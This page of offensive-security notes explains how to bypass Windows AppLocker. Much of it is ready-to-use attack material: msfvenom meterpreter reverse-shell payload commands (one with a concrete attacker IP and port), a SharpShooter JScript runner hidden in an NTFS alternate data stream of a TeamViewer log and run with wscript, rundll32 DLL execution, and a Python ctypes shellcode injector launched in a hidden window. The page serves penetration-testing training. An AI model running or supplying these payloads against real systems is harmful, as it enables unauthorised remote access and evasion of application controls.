AppLocker

AppLocker is used to manage and enforce policies for executing files like .exe, .dll, and various Microsoft first-party scripting languages like PowerShell, i.e. .ps1. This article and related pages discuss how to bypass some of these policies to gain code execution.

Finding trusted folders

To drop executable payloads on a target, we can use the Sysinternals accesscheck.exe application to search for writeable directories trusted by AppLocker.

  • -w to locate writeable directores
  • -u to suppress any errors
  • -s to recursively search through all subdirectories
accesscheck.exe "${USERNAME}" "${DIRECTORY}" -wus

icacls.exe is a Windows application we can use to dump the access control list (ACL) for a directory. Here’s an example invocation of icacls.exe:

PS> icacls.exe C:\Windows\Tasks
C:\Windows\Tasks NT AUTHORITY\Authenticated Users:(RX,WD)
                 BUILTIN\Administrators:(F)
                 BUILTIN\Administrators:(OI)(CI)(IO)(F)
                 NT AUTHORITY\SYSTEM:(F)
                 NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
                 CREATOR OWNER:(OI)(CI)(IO)(F)

Above shows that NT AUTHORITY\Authenticated Users has ReadExecute and WriteDirectory permissions. If AppLocker allows code execution from the C:\Windows directory, an unprivileged, authenticated user would be able to gain code execution.

Bypass with rundll32

Unmanaged code within DLLs can be used to bypass default AppLocker rules, as code execution is restricted to executables, not DLLs. With this, we can invoke the following command to execute DLLs and bypass AppLocker restrictions:

rundll32 "${DLL_PATH}","${EXPORTED_METHOD}"

The above example invocation will load and execute the provided DLL, invoking the specified exported method. AppLocker can also publish rules to restrict DLL execution to particular directories, however, we can also use the directory-based bypass discussed in the previous section, Finding trusted folders, to execute DLLs.

Executing an msfvenom DLL payload

The following invocation will generate a meterpreter DLL payload:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=${LHOST} LPORT=${LPORT} -f dll -o payload.dll

We can execute the payload on a Windows host to obtain a reverse shell by invoking the following:

rundll32 .\payload.dll,entrypoint

Bypass with alternate data streams

The Windows NTFS filesystem has a feature that allows data to be stored in Alternate Data Streams (ADS). If we’re able to write our text-based payloads, for example Jscript, to an file’s ADS contained with a trusted directory, we can bypass directory-based restrictions.

The following invocation will generate a raw meterpreter shellcode payload:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.45.190 LPORT=8443 -f raw -o shell.txt

We use the SharpShooter utility to wrap our meterpreter shellcode payload in a JScript runner for .NET Framework version 4:

python ~/opt/SharpShooter/SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile shell.txt --output shell

We use techniques described in our previous section, Finding trusted folders, to find a candidate text file that we can write an ADS to. Here’s an example invocation of writing our shell.js payload to an ADS:

type shell.js > "${FILE_PATH}:shell.js"

In our example, we’ll use this TeamViewer log file:

type shell.js > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:shell.js"

To execute the payload, we’ll use wscript to execute the contents of the JScript payload in the file’s ADS:

wscript "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:shell.js"

Other bypass methods

AppLocker only enforces rules against native file types. Code execution with third-party scripting engines like Python or Perl are not restricted. Similarly, we could also gain code execution with Java. There is also a lack of enforcement against VBA code inside Microsoft Office documents, highlighting the usefulness of Office documents in client-side attacks.

Here’s an example invocation of msfvenom to create a Python meterpreter reverse shell payload:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=${LHOST} LPORT=${LPORT} -f python -o payload.py

The following Python script uses ctypes to inject our shellcode into the current Python process and executes it:

import ctypes
from sys import exit
 
 
class Constants:
    PAGE_EXECUTE_READWRITE = 0x40
    PAGE_SIZE = 0x3000
 
 
def main() -> int:
    buf = b""
    buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
    # ...
    buf += b"\xff\xd5"
 
    kernel32 = ctypes.windll.kernel32
    kernel32.VirtualAlloc.restype = ctypes.c_void_p
 
    segment = kernel32.VirtualAlloc(
        None,
        len(buf),
        Constants.PAGE_SIZE,
        Constants.PAGE_EXECUTE_READWRITE,
    )
 
    kernel32.RtlMoveMemory.argtypes = (
        ctypes.c_void_p,
        ctypes.c_void_p,
        ctypes.c_size_t,
    )
 
    kernel32.RtlMoveMemory(segment, ctypes.create_string_buffer(buf), len(buf))
    ctypes.cast(segment, ctypes.CFUNCTYPE(None))()
 
    return 0
 
 
if __name__ == "__main__":
    exit(main())

Invoke the Python meterpreter reverse shell payload on a Windows host with the following:

Start-Process `
    -FilePath (Get-Command python).Source `
    -ArgumentList @((Resolve-Path -Path ".\ReverseShell.py").Path) `
    -WindowStyle Hidden